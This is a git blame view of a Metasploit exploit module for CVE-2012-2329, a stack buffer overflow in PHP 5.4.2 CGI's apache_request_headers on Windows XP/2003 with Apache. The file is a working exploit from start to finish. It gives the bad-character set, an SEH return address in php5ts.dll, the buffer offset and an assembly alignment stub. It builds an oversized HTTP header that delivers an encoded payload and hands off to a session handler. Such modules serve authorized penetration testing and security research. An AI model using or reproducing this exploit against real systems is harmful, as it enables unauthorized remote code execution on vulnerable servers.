Files
metasploit-gs/modules/exploits/windows/http/php_apache_request_headers_bof.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

121 lines
4.0 KiB
Ruby
Raw Normal View History

2012-06-15 00:29:52 +02:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-06-15 00:29:52 +02:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2012-06-15 00:29:52 +02:00
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Seh
2012-06-15 00:29:52 +02:00
def initialize(info = {})
2025-06-20 13:20:44 +01:00
super(
update_info(
info,
'Name' => 'PHP apache_request_headers Function Buffer Overflow',
'Description' => %q{
2012-06-15 00:29:52 +02:00
This module exploits a stack based buffer overflow in the CGI version of PHP
2025-06-20 13:20:44 +01:00
5.4.x before 5.4.3. The vulnerability is due to the insecure handling of the
HTTP headers.
2012-06-15 00:29:52 +02:00
This module has been tested against the thread safe version of PHP 5.4.2,
2025-06-20 13:20:44 +01:00
from "windows.php.net", running with Apache 2.2.22 from "apachelounge.com".
},
'Author' => [
2012-06-15 00:29:52 +02:00
'Vincent Danen', # Vulnerability discovery
'juan vazquez', # Metasploit module
],
2025-06-20 13:20:44 +01:00
'License' => MSF_LICENSE,
'References' => [
2012-06-15 00:29:52 +02:00
[ 'CVE', '2012-2329'],
[ 'OSVDB', '82215'],
2012-06-15 00:29:52 +02:00
[ 'BID', '53455'],
[ 'URL', 'http://www.php.net/archive/2012.php#id2012-05-08-1' ],
[ 'URL', 'http://www.php.net/ChangeLog-5.php#5.4.3'],
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=820000' ]
],
2025-06-20 13:20:44 +01:00
'DefaultOptions' => {
2012-06-15 00:29:52 +02:00
'EXITFUNC' => 'process',
},
2025-06-20 13:20:44 +01:00
'Privileged' => true,
'Payload' => {
'Space' => 1321,
'DisableNops' => true,
2025-06-20 13:20:44 +01:00
'BadChars' => "\x00\x0d\x0a\x5f\x80\x8e\x9e\x9f" + (0x41..0x5a).to_a.pack("C*") + (0x82..0x8c).to_a.pack("C*") + (0x91..0x9c).to_a.pack("C*"),
'EncoderType' => Msf::Encoder::Type::NonUpperUnderscoreSafe,
'EncoderOptions' =>
2025-06-20 13:20:44 +01:00
{
'BufferOffset' => 0x0
}
2012-06-15 00:29:52 +02:00
},
2025-06-20 13:20:44 +01:00
'Platform' => 'win',
'Targets' => [
[
'Windows XP SP3 / Windows 2003 Server SP2 (No DEP) / PHP 5.4.2 Thread safe',
2012-06-15 00:29:52 +02:00
{
2025-06-20 13:20:44 +01:00
'Ret' => 0x1002aa79, # ppr from php5ts.dll
'Offset' => 1332
2012-06-15 00:29:52 +02:00
}
],
],
2025-06-20 13:20:44 +01:00
'DefaultTarget' => 0,
'DisclosureDate' => '2012-05-08',
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
2012-06-15 00:29:52 +02:00
register_options(
[
OptString.new('TARGETURI', [true, 'The URI path to the php using apache_request_headers', '/php/test.php']),
2025-06-20 13:20:44 +01:00
]
)
2012-06-15 00:29:52 +02:00
end
def exploit
print_status("Trying target #{target.name}...")
# Make ECX point to the start of the encoded payload
align_ecx = "pop esi\n" # "\x5e"
esi_alignment = target['Offset'] + # Space from the start of align_ecx to nseh handler
2025-06-20 13:20:44 +01:00
8 + # len(nseh + seh)
5 - # len(call back)
11 # len(align_ecx)
align_ecx << "add esi, -#{esi_alignment}\n" # "\x81\xC6" + 4 bytes imm (ex: "\xCA\xFA\xFF\xFF")
2012-06-15 00:29:52 +02:00
align_ecx << "sub ecx, ecx\n" # "\x29\xC9"
align_ecx << "add ecx, esi" # "\x01\xf1"
sploit = Metasm::Shellcode.assemble(Metasm::Ia32.new, align_ecx).encode_string
# Encoded payload
sploit << payload.encoded
2012-06-15 00:29:52 +02:00
# Padding if needed
2025-06-20 13:20:44 +01:00
sploit << rand_text(target['Offset'] - sploit.length)
2012-06-15 00:29:52 +02:00
# SEH handler overwrite
sploit << generate_seh_record(target.ret)
2012-06-15 00:29:52 +02:00
# Call back "\xE8" + 4 bytes imm (ex: "\xBF\xFA\xFF\xFF")
2025-06-20 13:20:44 +01:00
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-#{target['Offset'] + 8}").encode_string
2012-06-15 00:29:52 +02:00
# Make it crash
sploit << rand_text(4096 - sploit.length)
2012-06-15 00:29:52 +02:00
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
res = send_request_cgi({
2025-06-20 13:20:44 +01:00
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'headers' =>
2012-06-15 00:29:52 +02:00
{
"HTTP_X_#{rand_text_alpha_lower(4)}" => sploit,
2012-06-15 00:29:52 +02:00
}
})
if res and res.code == 500
print_status "We got a 500 error code. Even without a session it could be an exploitation signal!"
end
handler
end
end